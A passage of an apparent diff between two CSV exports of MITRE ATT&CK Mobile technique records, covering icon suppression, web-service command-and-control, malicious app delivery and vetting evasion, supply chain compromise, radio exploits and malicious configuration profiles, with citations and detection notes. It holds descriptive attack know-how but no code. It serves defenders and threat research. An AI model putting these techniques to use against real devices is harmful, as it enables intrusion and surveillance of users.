August 2018', 'description': 'Dr.Webb. (2018, August 8). Android.Clipper.1.origin. Retrieved July 26, 2019.', 'url': 'https://vms.drweb.com/virus/?i=17517750'}, {'source_name': 'Android 10 Privacy Changes', 'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Modifying clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--fd658820-cbba-4c95-8ac9-0fac6b1099e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-11T18:09:42.039Z,2019-11-14T18:03:26.460Z,Suppress Application Icon,"A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. -This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1508', external_id='T1508'), ExternalReference(source_name='android-trojan-steals-paypal-2fa', description='Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'), ExternalReference(source_name='sunny-stolen-credentials', description='Lukáš Štefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/'), ExternalReference(source_name='bankbot-spybanker', description='NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.', url='https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker')]",attack-pattern--fd658820-cbba-4c95-8ac9-0fac6b1099e2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2019-11-14 18:03:26.460000+00:00,Suppress Application Icon,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Emily Ratliff, IBM']",,,,,,"The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings.",,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.1 -2019-07-10 15:18:16.753000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1507', external_id='T1507')]",attack-pattern--e4c347e9-fb91-4bc5-83b8-391e389131e2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2019-07-10 15:18:16.753000+00:00,Network Information Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2019-02-01 17:29:43.503000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. +This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1508', 'external_id': 'T1508'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}, {'source_name': 'sunny-stolen-credentials', 'description': 'Lukáš Štefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/'}, {'source_name': 'bankbot-spybanker', 'description': 'NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.', 'url': 'https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Emily Ratliff, IBM']",,,"The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings.",False,,['Android'],1.1,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--e4c347e9-fb91-4bc5-83b8-391e389131e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-10T15:18:16.753Z,2019-07-10T15:18:16.753Z,Network Information Discovery,"Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1507', 'external_id': 'T1507'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--c6a146ae-9c63-4606-97ff-e261e76e8380,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-02-01T17:29:43.503Z,2019-02-01T17:29:43.503Z,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1481', external_id='T1481')]",attack-pattern--c6a146ae-9c63-4606-97ff-e261e76e8380,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control')]",2019-02-01 17:29:43.503000+00:00,Web Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices. - -App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses: - -* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407) -* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406) - -Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang) - -Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer) - -Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1475', external_id='T1475'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html', external_id='ECO-4'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html', external_id='ECO-16'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html', external_id='ECO-17'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', external_id='APP-20'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', external_id='APP-21'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html', external_id='ECO-22'), ExternalReference(source_name='Petsas', description='Thanasis Petsas, Giannis Voyatzis, Elias Athanasopoulos, Michalis Polychronakis, Sotiris Ioannidis. (2014, April). Rage Against the Virtual Machine: Hindering Dynamic Analysis of Android Malware. Retrieved December 12, 2016.', url='http://dl.acm.org/citation.cfm?id=2592796'), ExternalReference(source_name='Oberheide-Bouncer', description='Jon Oberheide and Charlie Miller. (2012). Dissecting the Android Bouncer. Retrieved December 12, 2016.', url='https://jon.oberheide.org/files/summercon12-bouncer.pdf'), ExternalReference(source_name='Percoco-Bouncer', description='Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved December 12, 2016.', url='https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf'), ExternalReference(source_name='Wang', description='Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', url='https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei'), ExternalReference(source_name='Oberheide-RemoteInstall', description='Jon Oberheide. (2010, June 25). Remote Kill and Install on Google Android. Retrieved December 12, 2016.', url='https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/'), ExternalReference(source_name='Konoth', description='Radhesh Krishnan Konoth, Victor van der Veen, and Herbert Bos. (n.d.). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved December 12, 2016.', url='http://www.vvdveen.com/publications/BAndroid.pdf')]",attack-pattern--d9db3d46-66ca-44b4-9daa-1ef97cb7465a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2019-10-14 17:42:49.817000+00:00,Deliver Malicious App via Authorized App Store,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"* An EMM/MDM or mobile threat defense solution can identify the presence of unwanted or known insecure or malicious apps on devices. -* Developers can scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.",,,,,,,MOB-T1078,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake. - -Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1474', external_id='T1474'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html', external_id='APP-6'), ExternalReference(source_name='NowSecure-RemoteCode', description='Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved December 22, 2016.', url='https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/'), ExternalReference(source_name='Grace-Advertisement', description='M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved December 22, 2016.', url='https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf')]",attack-pattern--0d95940f-9583-4e0f-824c-a42c1be47fad,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2021-03-10 21:06:37.536000+00:00,Supply Chain Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"* Insecure third-party libraries could be detected by application vetting techniques. For example, Google's [App Security Improvement Program](https://developer.android.com/google/play/asi) detects the use of third-party libraries with known vulnerabilities within Android apps submitted to the Google Play Store. -* Malicious software development tools could be detected by enterprises deploying integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.",,,,,False,,MOB-T1077,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1481', 'external_id': 'T1481'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--53263a67-075e-48fa-974b-91c5b5445db7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-02-09T14:28:47.076Z,Deliver Malicious App via Other Means,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: @@ -4140,10 +3750,10 @@ Delivery methods for the malicious application include: * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) -Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1476', external_id='T1476'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html', external_id='AUT-9'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html', external_id='ECO-13'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html', external_id='ECO-21'), ExternalReference(source_name='IBTimes-ThirdParty', description='A Prasad. (2016, February 19). Danger lurks in third-party Android app stores. Retrieved November 8, 2018.', url='https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861'), ExternalReference(source_name='TrendMicro-RootingMalware', description='Jordan Pan. (2016, February 10). User Beware: Rooting Malware Found in 3rd Party App Stores. Retrieved November 8, 2018.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/'), ExternalReference(source_name='TrendMicro-FlappyBird', description='Veo Zhang. (2014, February 18). Flappy Bird and Third-Party App Stores. Retrieved November 8, 2018.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/'), ExternalReference(source_name='android-trojan-steals-paypal-2fa', description='Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/')]",attack-pattern--53263a67-075e-48fa-974b-91c5b5445db7,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2021-02-09 14:28:47.076000+00:00,Deliver Malicious App via Other Means,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"* An EMM/MDM or mobile threat defense solution may be able to identify the presence of apps installed from sources other than an authorized app store. +Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1476', 'external_id': 'T1476'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html', 'external_id': 'AUT-9'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html', 'external_id': 'ECO-13'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html', 'external_id': 'ECO-21'}, {'source_name': 'IBTimes-ThirdParty', 'description': 'A Prasad. (2016, February 19). Danger lurks in third-party Android app stores. Retrieved November 8, 2018.', 'url': 'https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861'}, {'source_name': 'TrendMicro-RootingMalware', 'description': 'Jordan Pan. (2016, February 10). User Beware: Rooting Malware Found in 3rd Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/'}, {'source_name': 'TrendMicro-FlappyBird', 'description': 'Veo Zhang. (2014, February 18). Flappy Bird and Third-Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* An EMM/MDM or mobile threat defense solution may be able to identify the presence of apps installed from sources other than an authorized app store. * An EMM/MDM or mobile threat defense solution may be able to identify Android devices configured to allow apps to be installed from ""Unknown Sources"". -* Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.",,,,,False,,MOB-T1079,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.2 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces. +* Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.",False,,"['Android', 'iOS']",1.2,,,,,,['Post-Adversary Device Access'],MOB-T1079 +attack-pattern,attack-pattern--2d646840-f6f5-4619-a5a8-29c8316bbac5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2019-02-03T15:19:22.439Z,Exploit via Radio Interfaces,"The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces. ### Baseband Vulnerability Exploitation @@ -4151,22 +3761,39 @@ A message sent over a radio interface (typically cellular, but potentially Bluet ### Malicious SMS Message -An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1477', external_id='T1477'), ExternalReference(source_name='ProjectZero-BroadcomWiFi', description=""Gal Beniamini. (2017, April 4). Over The Air: Exploiting Broadcom's Wi-Fi Stack. Retrieved November 8, 2018."", url='https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html'), ExternalReference(source_name='Register-BaseStation', description='D. Pauli. (2015, November 12). Samsung S6 calls open to man-in-the-middle base station snooping. Retrieved December 23, 2016.', url='http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/'), ExternalReference(source_name='Weinmann-Baseband', description='R. Weinmann. (2012, August 6-7). Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks. Retrieved December 23, 2016.', url='https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf'), ExternalReference(source_name='Forbes-iPhoneSMS', description=""Andy Greenberg. (2009, July 28). How to Hijack 'Every iPhone In The World'. Retrieved December 23, 2016."", url='http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html'), ExternalReference(source_name='SRLabs-SIMCard', description='SRLabs. (n.d.). SIM cards are prone to remote hacking. Retrieved December 23, 2016.', url='https://srlabs.de/bites/rooting-sim-cards/')]",attack-pattern--2d646840-f6f5-4619-a5a8-29c8316bbac5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2019-02-03 15:19:22.439000+00:00,Exploit via Radio Interfaces,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1080,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). +An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1477', 'external_id': 'T1477'}, {'source_name': 'ProjectZero-BroadcomWiFi', 'description': ""Gal Beniamini. (2017, April 4). Over The Air: Exploiting Broadcom's Wi-Fi Stack. Retrieved November 8, 2018."", 'url': 'https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html'}, {'source_name': 'Register-BaseStation', 'description': 'D. Pauli. (2015, November 12). Samsung S6 calls open to man-in-the-middle base station snooping. Retrieved December 23, 2016.', 'url': 'http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/'}, {'source_name': 'Weinmann-Baseband', 'description': 'R. Weinmann. (2012, August 6-7). Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks. Retrieved December 23, 2016.', 'url': 'https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf'}, {'source_name': 'Forbes-iPhoneSMS', 'description': ""Andy Greenberg. (2009, July 28). How to Hijack 'Every iPhone In The World'. Retrieved December 23, 2016."", 'url': 'http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html'}, {'source_name': 'SRLabs-SIMCard', 'description': 'SRLabs. (n.d.). SIM cards are prone to remote hacking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/rooting-sim-cards/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1080 +attack-pattern,attack-pattern--cde2cb84-455e-410c-8aa9-086f2788bcd2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-11-01T18:29:08.293Z,Install Insecure or Malicious Configuration,"An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). + +For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). + +On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1478', 'external_id': 'T1478'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html', 'external_id': 'STA-7'}, {'source_name': 'Symantec-iOSProfile', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles – The Sleeping Giant of iOS Security. Retrieved September 24, 2018.', 'url': 'https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security'}, {'source_name': 'Talos-MDM', 'description': 'Warren Mercer, Paul Rascagneres, Andrew Williams. (2018, July 12). Advanced Mobile Malware Campaign in India uses Malicious MDM. Retrieved September 24, 2018.', 'url': 'https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, the user can view trusted CA certificates through the device settings and look for unexpected certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. + +On iOS, the user can view installed Configuration Profiles through the device settings and look for unexpected profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.",False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1081 +attack-pattern,attack-pattern--d9db3d46-66ca-44b4-9daa-1ef97cb7465a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2019-10-14T17:42:49.817Z,Deliver Malicious App via Authorized App Store,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices. -For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). +App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses: + +* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407) +* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406) + +Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang) + +Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer) -On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1478', external_id='T1478'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html', external_id='STA-7'), ExternalReference(source_name='Symantec-iOSProfile', description='Yair Amit. (2013, March 12). Malicious Profiles – The Sleeping Giant of iOS Security. Retrieved September 24, 2018.', url='https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security'), ExternalReference(source_name='Talos-MDM', description='Warren Mercer, Paul Rascagneres, Andrew Williams. (2018, July 12). Advanced Mobile Malware Campaign in India uses Malicious MDM. Retrieved September 24, 2018.', url='https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html')]",attack-pattern--cde2cb84-455e-410c-8aa9-086f2788bcd2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', 